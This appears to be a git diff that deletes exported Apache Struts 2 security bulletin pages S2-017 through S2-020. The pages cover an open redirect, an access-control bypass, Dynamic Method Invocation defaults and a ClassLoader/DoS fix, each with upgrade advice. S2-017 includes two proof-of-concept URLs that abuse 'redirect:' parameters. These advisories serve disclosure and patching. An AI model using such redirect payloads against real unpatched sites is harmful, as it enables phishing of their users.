-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-017</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-017.html">S2-017</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-017</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33293806">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33293806">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33293806">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33293806">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33293806">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33293806">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-017-Summary">Summary</h2>
-
-<p>
-</p><p>A vulnerability introduced by manipulating parameters prefixed with "redirect:"/"redirectAction:" allows for open redirects</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers and users </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Open redirect </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Maximum securi [...]
-
-
-<h2 id="S2-017-Problem">Problem</h2>
-
-<p>The Struts 2 DefaultActionMapper used to support a method for short-circuit navigation state changes by prefixing parameters with "redirect:" or "redirectAction:", followed by a desired redirect target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.</p>
-
-<p>In Struts 2 before 2.3.15.1 the information following "redirect:" or "redirectAction:" can easily be manipulated to redirect to an arbitrary location.</p>
-
-<h2 id="S2-017-Proofofconcept">Proof of concept</h2>
-
-<p>In the Struts Showcase App, open following URLs.</p>
-
-<ol><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/</pre>
-</div></div></li><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23</pre>
-</div></div></li></ol>
-
-
-<h2 id="S2-017-Solution">Solution</h2>
-
-<p>DefaultActionMapper was changed to drop the features involved with "redirect:"/"redirectAction:"-prefixed parameters completely - see also <a shape="rect" href="s2-016.html">S2-016</a>.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Backward Compatibility</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>After upgrading to Struts &gt;= 2.3.15.1, applications using the "redirect:" / "redirectAction:" functionality will no longer work properly. Please investigate your code to replace such expressions with proper fixed navigation rules.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to</strong> <strong><a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23151">Struts 2.3.15.1</a></strong><strong>, which contains the corrected Struts2-Core library.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-018.html b/content/docs/s2-018.html
deleted file mode 100644
index 0fbd680..0000000
--- a/content/docs/s2-018.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-018</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-018.html">S2-018</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-018</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34019020">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34019020">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34019020">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34019020">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34019020">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34019020">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-018-Summary">Summary</h2>
-
-<p>
-</p><p>Broken Access Control Vulnerability in Apache Struts2</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers and users </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Permissions, Privileges, and Access Controls </p></td></tr><tr><th colspan="1" rowspan="1" class="c [...]
-
-
-<h2 id="S2-018-Problem">Problem</h2>
-
-<p>The Struts 2 action mapping mechanism supports the special parameter prefix action: which is intended to help with attaching navigational information to buttons within forms.</p>
-
-<p>In Struts 2 before 2.3.15.3, under certain conditions this can be used to bypass security constraints. More details will available later on when the patch will be widely adopted.</p>
-
-<h2 id="S2-018-Solution">Solution</h2>
-
-<p>In Struts 2.3.15.3 the action mapping mechanism was changed to avoid circumventing security constraints. Two additional constants were introduced to steer behaviour of DefaultActionMapper:</p>
-<ul class="alternate"><li>struts.mapper.action.prefix.enabled - when set to false support for "action:" prefix is disabled, set to false by default</li><li>struts.mapper.action.prefix.crossNamespaces - when set to false, actions defined with "action:" prefix must be in the same namespace as current action</li></ul>
-
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Backward Compatibility</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>After upgrading to Struts 2.3.15.3, applications using the "action:" will stop working. You can use above constants to steer that behaviour.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to</strong> <strong><a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23153">Struts 2.3.15.3</a></strong><strong>, which contains the corrected Struts2-Core library.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-019.html b/content/docs/s2-019.html
deleted file mode 100644
index c5c5c7e..0000000
--- a/content/docs/s2-019.html
+++ /dev/null
@@ -1,178 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-019</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-019.html">S2-019</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-019</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34019414">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34019414">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34019414">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34019414">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34019414">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34019414">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-019-Summary">Summary</h2>
-
-<p>
-</p><p>Dynamic Method Invocation disabled by default</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers and users </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Dynamic method executions </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Ma [...]
-
-
-<h2 id="S2-019-Problem">Problem</h2>
-
-<p>Dynamic Method Invocation is a mechanism known to impose possible security vulnerabilities, but until now it was enabled by default with warning that users should switch it off if possible.</p>
-
-<h2 id="S2-019-Solution">Solution</h2>
-
-<p>In Struts 2.3.15.2 the Dynamic Method Invocation is to false by default. Another option is to set <code>struts.enable.DynamicMethodInvocation</code> to false in struts.xml</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.enable.DynamicMethodInvocation" value="false"/&gt;
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Backward Compatibility</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Disabling Dynamic Method Invocation can break your application if it uses DMI heavily. Nevertheless, please consider to refactor your application to avoid DMI.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to</strong> <strong><a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23152">Struts 2.3.15.2</a></strong><strong>, which contains the corrected Struts2-Core library.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-020.html b/content/docs/s2-020.html
deleted file mode 100644
index fcab6d1..0000000
--- a/content/docs/s2-020.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-020</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-020.html">S2-020</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-020</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=39621692">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=39621692">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=39621692">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=39621692">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=39621692">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=39621692">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-020-Summary">Summary</h2>Upgrade Commons FileUpload to version 1.3.1 (avoids DoS attacks) and adds 'class' to exclude params in ParametersInterceptor (avoid ClassLoader manipulation)<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colsp [...]
